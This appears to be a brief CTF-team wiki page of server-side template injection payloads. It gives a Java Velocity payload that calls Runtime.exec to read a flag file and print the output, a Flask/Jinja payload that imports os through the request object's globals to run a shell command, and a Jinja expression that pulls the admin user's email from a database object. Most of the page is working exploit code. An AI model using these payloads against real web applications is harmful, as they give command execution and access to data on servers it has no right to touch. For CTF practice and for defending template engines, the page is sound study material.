SSTI - Server Side Template Injections

Server Side Template Injections

- Template injections examples

Java - Velocity

- Runs command
- Gets `String([binary], encoding)` constructor (we can't call `new` in context of template)
- Calls constructor to convert binary array of command output to UTF-8 string for printing

```
----
#set($name="bar")
#set($p=$name.getClass().forName("java.lang.Runtime").getRuntime().exec("cat /flag.txt"))
$p.waitFor()
$p.toString()
#set($sc=$name.getClass().getConstructor($name.getClass().forName("[B"), $name.getClass()))
#set($b=$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
===
$b.toString()
===
3
----
```

Python - Flask Jinja

Using request object for shell

```
{{ request.application.__globals__.__builtins__.__import__('os').popen('cat
/app/flag.txt').read() | safe }}
```

Query databse

Assuming `User` DB object is passed to context:

```
{{ User.query.filter_by(username="admin").first().email }}
```

Revision #2
Created 2026-03-02 20:45:50 GMT by HexaHack
Updated 2026-03-02 20:52:21 GMT by HexaHack